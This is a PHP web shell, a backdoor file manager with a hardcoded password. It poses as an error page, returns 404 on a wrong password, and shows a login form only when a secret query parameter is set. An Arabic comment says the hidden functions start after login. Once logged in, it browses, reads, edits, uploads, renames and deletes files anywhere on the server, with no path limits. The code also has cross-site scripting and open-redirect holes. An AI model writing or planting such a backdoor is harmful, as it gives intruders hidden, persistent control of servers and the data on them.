<?php
$PASSWORD = "Ninj4B@R4sin";
$ALLOWED_IP = "";

session_start();
if ($ALLOWED_IP && $_SERVER['REMOTE_ADDR'] !== $ALLOWED_IP) {
    http_response_code(403); exit;
}

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: ".$_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['auth'])) {
    if (isset($_POST['pass'])) {
        $input = trim($_POST['pass']);
        if ($input === $PASSWORD) {
            $_SESSION['auth'] = true;
            header("Location: ".$_SERVER['PHP_SELF']);
            exit;
        } else {
            http_response_code(404);
            echo "<h1>An unexpected error occurred. Please go back.</h1>";
            exit;
        }
    }
    echo "<h1>An unexpected error occurred. Please go back.</h1>";
if (isset($_GET['login'])) {
    echo "<form method='POST'><input type='password' name='pass' placeholder='Password'><button>Login</button></form>";
}

    exit;
}

// الوظائف الخفية تبدأ بعد تسجيل الدخول
$p = isset($_GET['p']) ? $_GET['p'] : '.';

if (isset($_POST['rf']) && isset($_POST['rt'])) {
    rename($_POST['rf'], dirname($_POST['rf']).'/'.$_POST['rt']);
}

if (isset($_GET['rd'])) {
    $d = $_GET['rd'];
    if (is_dir($d)) rmdir($d);
}

if (isset($_GET['df'])) {
    $f = $_GET['df'];
    if (is_file($f)) unlink($f);
}

if (isset($_GET['ed'])) {
    $f = $_GET['ed'];
    $o = htmlspecialchars(file_get_contents($f));
    echo "<form method='POST' id='fedit'><textarea id='ed' name='c' rows='25' style='width:100%'>$o</textarea><br>";
    echo "<button name='s'>Save</button></form><hr>";
    echo <<<JS
<script>
let o=document.getElementById("ed").value,c=false;
document.getElementById("ed").addEventListener("input",()=>{c=(this.value!==o);});
window.onbeforeunload=()=>{if(c)return"Unsaved changes!"};
document.querySelectorAll("a").forEach(a=>{
a.addEventListener("click",e=>{if(c){e.preventDefault();x(a.href);}});
});
function x(d){
if(document.getElementById("q"))return;
let b=document.createElement("div");
b.id="q";b.style="position:fixed;top:20%;left:50%;transform:translateX(-50%);background:#fff;padding:20px;border:2px solid #666;z-index:9999;text-align:center";
b.innerHTML="<p>Unsaved changes, continue?</p>";
["Cancel","Ignore","Save"].forEach((t,i)=>{
let btn=document.createElement("button");
btn.textContent=t;
btn.onclick=()=>{if(i==0)b.remove();else if(i==1){window.onbeforeunload=null;location=d;}
else{let f=document.getElementById("fedit"),h=document.createElement("input");
h.type="hidden";h.name="r";h.value=d;f.appendChild(h);window.onbeforeunload=null;f.submit();}};
b.appendChild(btn);
});
document.body.appendChild(b);
}
</script>
JS;
    if (isset($_POST['s'])) {
        file_put_contents($f, $_POST['c']);
        echo "<p>Saved ✅</p>";
        if (isset($_POST['r'])) echo "<script>location='".$_POST['r']."';</script>";
    }
}

if (isset($_FILES['u'])) {
    move_uploaded_file($_FILES['u']['tmp_name'], $p.'/'.$_FILES['u']['name']);
    echo "<p>Uploaded: {$_FILES['u']['name']}</p>";
}

echo "<h2>Directory: $p</h2><a href='?logout=1'>Logout</a><br><br>";
echo "<form method='GET'>Path: <input name='p' value='$p'><button>Go</button></form>";
echo "<form method='POST' enctype='multipart/form-data'><input type='file' name='u'><button>Upload</button></form><hr>";

$f = scandir($p);
echo "<ul>";
foreach ($f as $i) {
    if ($i == ".") continue;
    $fp = $p . '/' . $i;
    $e = urlencode($fp);
    echo "<li>";
    if (is_dir($fp)) {
        echo "<a href='?p=$e'>$i</a> ";
        echo "[<a href='#' onclick='rn(\"$fp\")'>✏️</a>] ";
        echo "[<a href='?rd=$e' onclick='return confirm(\"Delete folder?\")'>🗑️</a>]";
    } else {
        echo "$i ";
        echo "[<a href='?ed=$e'>✏️</a>] ";
        echo "[<a href='?df=$e' onclick='return confirm(\"Delete file?\")'>🗑️</a>] ";
        echo "[<a href='$fp' target='_blank'>👁️</a>]";
    }
    echo "</li>";
}
echo "</ul>";
?>

<script>
function rn(p){
let n=prompt("New name:");
if(n){
let f=document.createElement("form");
f.method='POST';f.style='display:none';
let i1=document.createElement("input");
i1.name='rf';i1.value=p;
let i2=document.createElement("input");
i2.name='rt';i2.value=n;
f.appendChild(i1);f.appendChild(i2);
document.body.appendChild(f);
f.submit();
}
}
</script>
